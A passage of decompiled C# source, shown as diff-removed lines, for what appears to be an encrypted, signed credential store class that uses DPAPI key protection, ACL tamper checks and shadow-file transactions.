} - this.m_file.Seek(0L, SeekOrigin.Begin); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private void CloseFiles() - { - using (new SystemIdentity(false)) - { - if (this.m_file != null) - { - this.m_file.Close(); - this.m_file = (FileStream) null; - } - if (this.m_shadow == null) - return; - this.m_shadow.Close(); - this.m_shadow = (FileStream) null; - } - } - - protected void CreateDirAndFiles() - { - this.CheckReparsePoints(); - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.ValidateDirectoryAccess(); - using (new SystemIdentity(true)) - { - try - { - if (!this.m_fileInfo.Directory.Exists) - { - try - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.m_fileInfo.Directory.Create(FileDataSource.CreateSecurityDescriptor()); - else - this.m_fileInfo.Directory.Create(); - this.m_fileInfo.Directory.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - else if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) this.m_fileInfo.Directory)) - this.m_fileInfo.Directory.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - InfoCardTrace.Assert(this.m_shadowInfo.Directory.Exists, "m_shadowInfo directory should be same as main directory"); - this.OpenOrCreateHelper(this.m_fileInfo, out this.m_file); - this.OpenOrCreateHelper(this.m_shadowInfo, out this.m_shadow); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - } - - private void CheckReparsePoints() - { - using (new SystemIdentity(true)) - { - for (DirectoryInfo directoryInfo = this.m_fileInfo.Directory; directoryInfo != null; directoryInfo = directoryInfo.Parent) - { - if (directoryInfo.Exists && (directoryInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - if (Directory.Exists(this.m_fileInfo.FullName) && (this.m_fileInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - } - - private void ValidateDirectoryAccess() - { - InfoCardTrace.Assert(!WindowsIdentity.GetCurrent().IsSystem, "Should not be running as system"); - IdentityReference identityReference = WindowsIdentity.GetCurrent().User.Translate(typeof (NTAccount)); - bool flag = false; - DirectoryInfo parent = this.m_fileInfo.Directory.Parent; - if (parent.Exists) - { - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) parent.GetAccessControl().GetAccessRules(true, true, typeof (NTAccount))) - { - if (accessRule.IdentityReference == identityReference && accessRule.FileSystemRights == FileSystemRights.FullControl && accessRule.AccessControlType == AccessControlType.Allow) - { - flag = true; - break; - } - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreInvalidDataFilePath"))); - } - - private void OpenOrCreateHelper(FileInfo theFile, out FileStream fileStream) - { - InfoCardTrace.Assert(WindowsIdentity.GetCurrent().IsSystem, "Should be running as system"); - if (!File.Exists(theFile.FullName)) - { - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.CreateNew, FileAccess.ReadWrite); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - } - else - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) theFile)) - { - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.Open, FileAccess.ReadWrite); - } - } - - protected virtual void OnSwapFileWithShadow() - { - using (new SystemIdentity(true)) - { - string fullName = this.m_fileInfo.FullName; - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientMove(this.m_shadowInfo, this.m_fileInfo); - this.m_fileInfo = new FileInfo(fullName); - this.m_shadowInfo = new FileInfo(fullName + ".shadow"); - } - } - - protected internal override void OnClose() - { - this.ThrowIfDisposed(); - if (this.m_data != null) - { - this.m_data.Close(); - this.m_data = (IndexedDataBuffer) null; - } - this.m_indexes.Close(); - this.CloseFiles(); - this.m_provider.Dispose(); - } - - protected internal override DataRow ReadRow(int localId, QueryDetails details) - { - DataRow row = (DataRow) null; - if (QueryDetails.Header == (details & QueryDetails.Header)) - { - row = this.m_data.CreateDataRow(localId); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - { - byte[] iv = this.AllocateIvBuffer(); - this.m_data.CopyIVFromObject(localId, iv, 0); - using (Stream streamForObjectData = this.m_data.GetStreamForObjectData(localId)) - { - using (MemoryStream output = new MemoryStream((int) streamForObjectData.Length)) - { - this.DecryptData(iv, streamForObjectData, (Stream) output); - row.SetDataField(output.ToArray()); - byte[] buffer = output.GetBuffer(); - Array.Clear((Array) buffer, 0, buffer.Length); - } - } - } - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - this.m_indexes.PopulateRowIndexBuffer(row); - } - return row; - } - - protected internal override bool SingleMatch(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (string.IsNullOrEmpty(match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(SR.GetString("StoreDataSourceInvalidIndexName", (object) match.IndexName), nameof (match))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - return this.m_indexes.Match(match, localIds); - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - } - - protected internal override void OnBeginTransaction() - { - InfoCardTrace.Assert(!this.m_currentTransactionDirty, "m_currentTransactionDirty should have been set to false before beginning a transaction"); - base.OnBeginTransaction(); - } - - protected internal override void OnRollbackTransaction() - { - try - { - base.OnRollbackTransaction(); - this.LoadFrom((Stream) this.m_file); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void OnCommitTransaction() - { - try - { - base.OnCommitTransaction(); - if (!this.m_currentTransactionDirty) - return; - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void WriteRow(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - using (MemoryStream output = new MemoryStream()) - { - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - using (MemoryStream input = new MemoryStream(row.GetDataField())) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - int localId = this.m_data.WriteObject(row.LocalId, iv, output.ToArray(), row.ObjectType, row.LastChange, row.GlobalId); - this.m_indexes.SetValuesForId(localId, row.IndexBuffer, true); - row.SourceId = this.SourceId; - row.InstanceId = this.InstanceId; - row.LocalId = localId; - } - } - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - protected internal override void RemoveObject(int id) - { - if ((uint) id > (uint) (this.m_data.Index.Length / 4 - 1)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreDataSourceIdOutOfRange"))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - this.m_data.RemoveObject(id); - this.m_indexes.RemoveAllValuesForId(id); - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - private void ProtectKey() - { - if (this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyAlreadyProtected"))); - ProtectedMemory.Protect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = true; - } - - private void UnprotectKey() - { - if (!this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyNotAlreadyProtected"))); - ProtectedMemory.Unprotect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = false; - } - - private unsafe void DecryptData(byte[] iv, Stream input, Stream output) - { - InfoCardTrace.Assert(input is MemoryStream, "Invalid stream type"); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) buffer.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptDecrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - Array.Clear((Array) buffer, 0, buffer.Length); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void EncryptData(byte[] iv, Stream input, Stream output) - { - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length + (long) this.m_key.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) input.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptEncrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length, (uint) buffer.Length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void CreateEmptyStore() - { - this.m_data = new IndexedDataBuffer(new byte[80], new byte[2048], 0, (DataSource) this); - this.m_encAlg.GenerateKey(); - this.m_key = new byte[this.m_encAlg.Key.Length]; - Array.Copy((Array) this.m_encAlg.Key, 0, (Array) this.m_key, 0, this.m_encAlg.Key.Length); - this.m_encAlg.GenerateKey(); - this.m_keyProtected = false; - this.ProtectKey(); - this.m_header = new byte[this.GetTotalHeaderSize()]; - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - ((EncryptedFileStoreHeader*) numPtr)->Version = 12U; - this.EncryptAndSaveDPAPIKeyToHeader(); - } - - private void FlushToShadow() => this.FlushToStream((Stream) this.m_shadow); - - private int GetTotalHeaderSize() => sizeof (EncryptedFileStoreHeader) + this.GetTotalSignatureSize(); - - private int GetOffsetToEncryptedFileHeader() => this.m_variableSignatureLength + 4; - - private int GetTotalSignatureSize() => this.GetOffsetToEncryptedFileHeader(); - - private long GetRequiredFileSize() - { - long num = Convert.ToInt64(this.GetTotalHeaderSize()) + Convert.ToInt64(this.m_encryptedKey.Length) + Convert.ToInt64(this.m_data.DataLength) + Convert.ToInt64(this.m_data.Index.Length + 4); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - byte[] buffer = ((SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]).GetBuffer(); - num += Convert.ToInt64(8 + buffer.Length); - } - return num + num / 20L; - } - - private unsafe void FlushToStream(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.SetLength(this.GetRequiredFileSize()); - BinaryWriter binaryWriter1 = new BinaryWriter(stream); - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - int dataLength = this.m_data.DataLength; - stream.Seek((long) this.GetTotalHeaderSize(), SeekOrigin.Begin); - binaryWriter1.Write(this.m_encryptedKey); - binaryWriter1.Write(iv); - long position = stream.Position; - using (BinaryWriter binaryWriter2 = new BinaryWriter((Stream) new MemoryStream())) - { - binaryWriter2.Write(this.m_data.Index.Length / 4); - binaryWriter2.Write(this.m_data.Index); - binaryWriter2.Write(this.m_indexes.Count); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - SecondaryIndex innerIndex = (SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]; - int lastIndex = innerIndex.LastIndex; - binaryWriter2.Write(lastIndex); - int initialSize = SecondaryIndexDefinition.GetByName(key).InitialSize; - if (lastIndex + 1 < initialSize) - { - binaryWriter2.Write(initialSize); - InfoCardTrace.Assert(initialSize * sizeof (SecondaryIndexItem) <= innerIndex.GetBuffer().Length, "Buffer length is at least min capacity"); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, initialSize * sizeof (SecondaryIndexItem)); - } - else - { - binaryWriter2.Write(lastIndex + 1); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, (lastIndex + 1) * sizeof (SecondaryIndexItem)); - } - } - binaryWriter2.Flush(); - binaryWriter2.Seek(0, SeekOrigin.Begin); - this.EncryptData(iv, binaryWriter2.BaseStream, binaryWriter1.BaseStream); - } - int int32 = Convert.ToInt32(stream.Position - position); - int num = int32 + this.m_data.DataLength + this.GetTotalHeaderSize() + iv.Length + this.m_encryptedKey.Length; - binaryWriter1.Write(this.m_data.Data, 0, this.m_data.DataLength); - stream.Seek(0L, SeekOrigin.Begin); - binaryWriter1.Flush(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr)->DataSize = dataLength; - ((EncryptedFileStoreHeader*) numPtr)->Version = 12U; - ((EncryptedFileStoreHeader*) numPtr)->Size = num; - ((EncryptedFileStoreHeader*) numPtr)->IndexSize = int32; - } - binaryWriter1.Write(this.m_header); - stream.SetLength(Convert.ToInt64(num)); - binaryWriter1.Flush(); - this.SignStream(stream); - } - - private unsafe void SignStream(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - this.m_encAlg.GenerateIV(); - byte[] sourceArray = this.SignDigest(this.m_encAlg.IV, this.CreateStreamDigest(input)); - byte[] numArray = new byte[this.GetTotalSignatureSize()]; - fixed (byte* numPtr = &numArray[0]) - ((SignatureHeader*) numPtr)->SignatureSize = this.m_variableSignatureLength; - Array.Copy((Array) sourceArray, 0, (Array) numArray, 4, sourceArray.Length); - input.Seek(0L, SeekOrigin.Begin); - input.Write(numArray, 0, numArray.Length); - InfoCardTrace.Assert(this.m_variableSignatureLength >= sourceArray.Length, "Generated signature should be less than signature length"); - input.Seek(offset, SeekOrigin.Begin); - } - - private byte[] CreateStreamDigest(Stream input) - { - input.Seek((long) this.GetOffsetToEncryptedFileHeader(), SeekOrigin.Begin); - byte[] data = new byte[Convert.ToInt32((input.Length / 4096L + 1L) * (long) HashUtility.HashBufferLength)]; - int dataIndex = 0; - byte[] numArray = new byte[4096]; - int dataToHashSize; - do - { - dataToHashSize = input.Read(numArray, 0, numArray.Length); - if (dataToHashSize > 0) - { - HashUtility.SetHashValue(data, dataIndex, numArray, 0, dataToHashSize); - dataIndex += HashUtility.HashBufferLength; - } - } - while (dataToHashSize == numArray.Length); - return data; - } - - private byte[] SignDigest(byte[] iv, byte[] digest) - { - byte[] destinationArray = new byte[this.m_variableSignatureLength]; - using (MemoryStream input = new MemoryStream(digest)) - { - using (MemoryStream output = new MemoryStream(digest.Length)) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - Array.Copy((Array) output.GetBuffer(), Convert.ToInt32(output.Position - 1L) - iv.Length, (Array) destinationArray, 0, iv.Length); - Array.Copy((Array) iv, 0, (Array) destinationArray, iv.Length, iv.Length); - return destinationArray; - } - } - } - - private void ValidateSignature(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - byte[] buffer = new byte[this.m_variableSignatureLength]; - byte[] numArray1 = this.AllocateIvBuffer(); - input.Seek(20L, SeekOrigin.Begin); - input.Read(numArray1, 0, numArray1.Length); - byte[] numArray2 = this.SignDigest(numArray1, this.CreateStreamDigest(input)); - input.Seek(4L, SeekOrigin.Begin); - input.Read(buffer, 0, buffer.Length); - for (int index = 0; index < buffer.Length; ++index) - { - if ((int) buffer[index] != (int) numArray2[index]) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - input.Seek(offset, SeekOrigin.Begin); - } - - protected unsafe void LoadFrom(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader1 = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_header = new byte[this.GetTotalHeaderSize()]; - binaryReader1.Read(this.m_header, 0, this.m_header.Length); - fixed (byte* numPtr1 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U != ((EncryptedFileStoreHeader*) numPtr1)->Version && 12U != ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - CorruptStoreException e = new CorruptStoreException(SR.GetString("StoreVersionNotSupported", (object) ((EncryptedFileStoreHeader*) numPtr1)->Version)); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) e); - } - if (12U == ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - this.m_encryptedKey = new byte[((EncryptedFileStoreHeader*) numPtr1)->KeyBlockV2.KeyDataSize]; - binaryReader1.Read(this.m_encryptedKey, 0, ((EncryptedFileStoreHeader*) numPtr1)->KeyBlockV2.KeyDataSize); - } - // ISSUE: __unpin statement - __unpin(numPtr1); - fixed (byte* numPtr2 = &this.m_header[0]) - { - if (this.m_variableSignatureLength != ((SignatureHeader*) numPtr2)->SignatureSize) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - this.ObtainDataKeyFromHeader(); - this.ValidateSignature(stream); - fixed (byte* numPtr3 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - byte[] numArray = this.AllocateIvBuffer(); - byte[] masterIndex; - using (MemoryStream output = new MemoryStream()) - { - binaryReader1.Read(numArray, 0, numArray.Length); - byte[] buffer1 = binaryReader1.ReadBytes(((EncryptedFileStoreHeader*) numPtr3)->IndexSize); - using (MemoryStream input = new MemoryStream(buffer1)) - { - this.DecryptData(numArray, (Stream) input, (Stream) output); - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - output.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader2 = (BinaryReader) new InfoCardBinaryReader((Stream) output); - int num1 = binaryReader2.ReadInt32(); - InfoCardTrace.Assert(num1 > 0, "MasterIndexCount Invalid"); - masterIndex = binaryReader2.ReadBytes(num1 * 4); - InfoCardTrace.Assert((uint) binaryReader2.ReadInt32() <= (uint) this.m_indexes.Count, "SecondaryIndexCount Invalid"); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - int lastIndex = binaryReader2.ReadInt32(); - int num2 = binaryReader2.ReadInt32(); - byte[] buffer2 = new byte[Utility.CalculateIncreaseByPercent(num2 * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem), SecondaryIndexDefinition.GetByName(key).GrowthFactor)]; - binaryReader2.Read(buffer2, 0, num2 * sizeof (SecondaryIndexItem)); - this.m_indexes.SetBuffer(key, buffer2, lastIndex); - } - } - using (MemoryStream memoryStream = new MemoryStream(Utility.CalculateIncreaseByPercent(Convert.ToInt32(binaryReader1.BaseStream.Length - binaryReader1.BaseStream.Position), 1, 5))) - { - byte[] buffer3 = new byte[256]; - int num = 0; - int count; - do - { - count = binaryReader1.Read(buffer3, 0, buffer3.Length); - memoryStream.Write(buffer3, 0, count); - num += count; - } - while (count == buffer3.Length); - byte[] buffer4 = memoryStream.GetBuffer(); - if (num == 0) - buffer4 = new byte[2048]; - this.m_data = new IndexedDataBuffer(masterIndex, buffer4, ((EncryptedFileStoreHeader*) numPtr3)->DataSize, (DataSource) this); - } - } - } - } - - protected virtual void SwapFileWithShadow() - { - this.CloseFiles(); - this.OnSwapFileWithShadow(); - try - { - this.CreateDirAndFiles(); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private unsafe void EncryptAndSaveDPAPIKeyToHeader() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - byte[] numArray = new byte[32 + HashUtility.HashBufferLength]; - this.UnprotectKey(); - try - { - Array.Copy((Array) this.m_key, 0, (Array) numArray, 0, 32); - HashUtility.SetHashValue(numArray, 32, this.m_key, 0, 32); - fixed (byte* numPtr1 = &numArray[0]) - { - DataBlob dataBlob3; - dataBlob3.pbData = new IntPtr((void*) numPtr1); - dataBlob3.cbData = numArray.Length; - try - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob3), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataFailed"))); - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob1), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataAsSystemFailed"))); - } - fixed (byte* numPtr2 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlockV2.KeyDataOffset = 0; - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlockV2.KeyDataSize = dataBlob2.cbData; - this.m_encryptedKey = new byte[dataBlob2.cbData]; - for (int index = 0; index < dataBlob2.cbData; ++index) - this.m_encryptedKey[index] = *(byte*) ((IntPtr) dataBlob2.pbData.ToPointer() + index); - } - } - finally - { - Exception e = (Exception) null; - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob1.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob2.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (e != null) - throw InfoCardTrace.ThrowHelperError(e); - } - } - } - finally - { - this.ProtectKey(); - Array.Clear((Array) numArray, 0, numArray.Length); - } - } - - private void ObtainDataKeyFromHeader() - { - try - { - this.m_key = this.TryObtainDataKeyFromDPAPI() ?? throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUnableToGetStoreKeyFromDPAPI"))); - this.m_keyProtected = false; - this.ProtectKey(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidStoreProtectionKeyException()); - throw; - } - } - - private unsafe byte[] TryObtainDataKeyFromDPAPI() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U == ((EncryptedFileStoreHeader*) numPtr)->Version && ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.KeyType != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreFileNotProtectedWithDPAPI"))); - byte[] dataKeyFromDpapi = (byte[]) null; - GCHandle gcHandle = new GCHandle(); - try - { - DataBlob dataBlob3; - if (((EncryptedFileStoreHeader*) numPtr)->Version == 12U) - { - gcHandle = GCHandle.Alloc((object) this.m_encryptedKey, GCHandleType.Pinned); - dataBlob3.pbData = gcHandle.AddrOfPinnedObject(); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataSize; - } - else - { - dataBlob3.pbData = new IntPtr((void*) &((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKey); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKeySize; - ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataOffset = 0; - ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataSize = dataBlob3.cbData; - this.m_encryptedKey = new byte[dataBlob3.cbData]; - for (int index = 0; index < dataBlob3.cbData; ++index) - this.m_encryptedKey[index] = *(byte*) ((IntPtr) dataBlob3.pbData.ToPointer() + index); - } - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob3), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataAsSystemFailed"))); - } - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob2), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataFailed"))); - InfoCardTrace.Assert(dataBlob1.cbData == 32 + HashUtility.HashBufferLength, "The data size returned by CryptUnprotectData is invalid or corrupt."); - dataKeyFromDpapi = new byte[32]; - Marshal.Copy(dataBlob1.pbData, dataKeyFromDpapi, 0, 32); - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataKeyFromDpapi, 0, 32); - for (int index = 0; index < data.Length; ++index) - { - if ((int) data[index] != (int) *(byte*) ((IntPtr) dataBlob1.pbData.ToPointer() + (32 + index))) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDecryptedKeyIsNotValid"))); - } - return dataKeyFromDpapi; - } - catch - { - if (dataKeyFromDpapi != null) - Array.Clear((Array) dataKeyFromDpapi, 0, dataKeyFromDpapi.Length); - throw; - } - finally - { - if (gcHandle.IsAllocated) - gcHandle.Free(); - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - NativeMethods.LocalFree(dataBlob2.pbData); - } - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - NativeMethods.LocalFree(dataBlob1.pbData); - } - } - } - } - - private bool LogIfAclsTampered(FileSystemInfo fileSysInfo) - { - bool condition = true; - try - { - FileSystemSecurity accessControl; - if (fileSysInfo is DirectoryInfo) - { - accessControl = (FileSystemSecurity) ((DirectoryInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - else - { - InfoCardTrace.Assert(fileSysInfo is FileInfo, "Only fileinfo possible"); - accessControl = (FileSystemSecurity) ((FileInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - condition = this.LogIfAclsTamperedHelper(accessControl); - } - catch (UnauthorizedAccessException ex) - { - InfoCardTrace.Assert(condition, "ACL must have been tampered with"); - } - if (condition) - InfoCardTrace.TraceAndLogException((Exception) new DataAccessException(SR.GetString("StoreAclsTamperedWith"))); - return condition; - } - - private bool LogIfAclsTamperedHelper(FileSystemSecurity fs) - { - if (SystemIdentity.LsaIdentityReference != fs.GetOwner(typeof (SecurityIdentifier))) - return true; - AuthorizationRuleCollection accessRules = fs.GetAccessRules(true, true, typeof (SecurityIdentifier)); - bool flag = fs is DirectorySecurity; - foreach (FileSystemAccessRule systemAccessRule in (ReadOnlyCollectionBase) accessRules) - { - if ((!(SystemIdentity.LsaIdentityReference == systemAccessRule.IdentityReference) || FileSystemRights.FullControl != systemAccessRule.FileSystemRights || systemAccessRule.AccessControlType != AccessControlType.Allow) && (!flag || !((IdentityReference) FileDataSource.AdministratorSid == systemAccessRule.IdentityReference) || systemAccessRule.AccessControlType != AccessControlType.Allow || (FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles | FileSystemRights.Synchronize) != systemAccessRule.FileSystemRights)) - return true; - } - return false; - } - - private static T CreateSecurityDescriptor() where T : FileSystemSecurity, new() - { - T securityDescriptor = new T(); - securityDescriptor.SetOwner(SystemIdentity.LsaIdentityReference); - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) securityDescriptor.GetAccessRules(true, true, typeof (SecurityIdentifier))) - securityDescriptor.RemoveAccessRuleAll(accessRule); - securityDescriptor.AddAccessRule(new 